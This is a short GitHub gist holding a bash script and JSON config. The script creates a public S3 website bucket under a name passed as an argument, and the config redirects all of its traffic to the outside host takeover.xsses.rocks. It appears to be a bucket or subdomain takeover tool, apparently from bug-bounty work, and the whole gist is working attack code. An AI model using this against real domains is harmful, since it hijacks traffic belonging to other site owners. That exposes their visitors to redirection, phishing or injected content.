Skip to content

Instantly share code, notes, and snippets.

@random-robbie
Last active September 9, 2019 17:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save random-robbie/486186ecd209f6740652d46053b747b5 to your computer and use it in GitHub Desktop.
Save random-robbie/486186ecd209f6740652d46053b747b5 to your computer and use it in GitHub Desktop.
#!/bin/bash
aws s3api create-bucket --bucket $1 --acl public-read --region us-east-1
aws s3api put-bucket-website --bucket $1 --website-configuration file://redirect.json
@random-robbie
Copy link
Author

redirect.json

{
    "RedirectAllRequestsTo": {
        "HostName": "takeover.xsses.rocks"
    }
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment